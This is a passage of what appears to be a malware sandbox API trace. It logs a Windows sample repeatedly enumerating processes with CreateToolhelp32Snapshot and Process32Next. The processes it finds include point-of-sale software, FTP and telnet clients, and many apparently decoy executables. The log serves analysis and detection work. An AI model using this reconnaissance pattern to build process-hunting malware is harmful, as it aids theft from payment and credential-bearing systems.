th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0116.672] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0116.677] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0116.680] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0116.683] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0116.685] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0116.690] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0116.693] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0116.695] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0116.698] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0116.702] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0116.704] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.707] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.711] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0116.713] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0116.716] CloseHandle (hObject=0x1e78) returned 1 [0116.716] Sleep (dwMilliseconds=0x64) [0116.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20ac [0116.897] Process32First (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.900] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.902] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.905] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.907] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.910] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.912] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.915] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.917] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.919] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.952] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.954] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.957] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.959] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.961] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.963] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.965] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.967] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.969] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.971] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.973] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.975] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0116.987] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.989] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.992] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0116.995] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0116.997] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0116.999] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.002] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0117.004] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0117.006] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0117.009] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.011] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.013] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0117.014] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.016] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.018] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.020] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.022] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0117.024] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0117.026] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0117.028] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0117.031] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0117.033] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0117.036] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0117.038] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0117.041] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0117.043] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0117.045] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0117.047] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0117.049] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0117.051] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0117.053] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0117.055] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0117.057] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0117.059] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0117.061] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0117.063] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0117.112] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0117.114] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0117.117] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0117.119] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0117.122] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0117.124] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0117.127] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0117.129] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0117.132] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0117.134] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0117.136] Process32Next (in: hSnapshot=0x20ac, 